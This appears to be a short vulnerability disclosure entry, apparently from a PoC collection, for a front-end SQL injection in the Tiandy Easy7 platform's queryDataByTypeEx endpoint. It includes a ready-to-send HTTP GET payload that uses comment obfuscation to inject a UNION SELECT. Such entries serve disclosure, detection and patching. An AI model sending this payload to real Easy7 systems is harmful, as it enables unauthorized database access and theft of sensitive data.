Description
天地伟业Easy7平台存在前台SQL注入漏洞，攻击者可获取数据库敏感信息
天地伟业Easy7 queryDataByTypeEx SQL注入漏洞
PoC
GET /Easy7/rest/workbook/queryDataByTypeEx?tabname=/*!TAB_WORKBOOK_TYPE*/where/**/1=1/**/union/**/select/**/md5(1),1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.